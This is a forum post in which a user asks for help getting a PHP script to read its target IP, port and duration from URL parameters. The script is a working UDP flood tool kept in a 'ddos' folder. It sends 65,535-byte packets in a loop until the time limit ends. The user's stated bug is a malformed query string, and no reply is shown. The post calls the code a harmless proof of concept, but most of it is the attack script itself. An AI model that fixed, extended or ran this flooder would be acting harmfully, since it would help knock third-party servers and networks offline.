Jump to content

Issue Parsing Param's From URL


cosmic

Recommended Posts

Hey i am having some issues with some code. The values were submitted by a form but i want to change it to its submitted by the URL using $_GET. But doesnt want to work. Can someone please help me? This is just POC code no malicious intentions here. PHP is not my first language. Would appreciate any help. I am using netcat to test this.

 

<?php
$packets = 0;
$ip = $_GET['ip'];
$rand = $_GET['port'];
set_time_limit(0);
ignore_user_abort(FALSE);
$exec_time = $_GET['time'];
$time = time();
$max_time = $time+$exec_time;
for($i=0;$i<65535;$i++){
        $out .= "X";
}
while(1){
$packets++;
        if(time() > $max_time){
                break;
        }
        
        $fp = fsockopen("udp://$ip", $rand, $errno, $errstr, 5);
        if($fp){
                fwrite($fp, $out);
                fclose($fp);
        }
}
?>

 

URL Example:  http://127.0.0.1/ddos/udp.php?ip=127.0.0.1?port=81?time=10

 

Error: Warning: fsockopen() [function.fsockopen]: unable to connect to udp://127.0.0.1?port=81?time=1:0 (Failed to parse address "127.0.0.1?port=81?time=1") in C:\xampp\htdocs\ddos\udp.php on line 19

 

 

Will not parse the variables properly. Have spent so much time on this.

 

 

Link to comment
Share on other sites

This thread is more than a year old. Please don't revive it unless you have something important to add.

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Restore formatting

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.

×
×
  • Create New...

Important Information

We have placed cookies on your device to help make this website better. You can adjust your cookie settings, otherwise we'll assume you're okay to continue.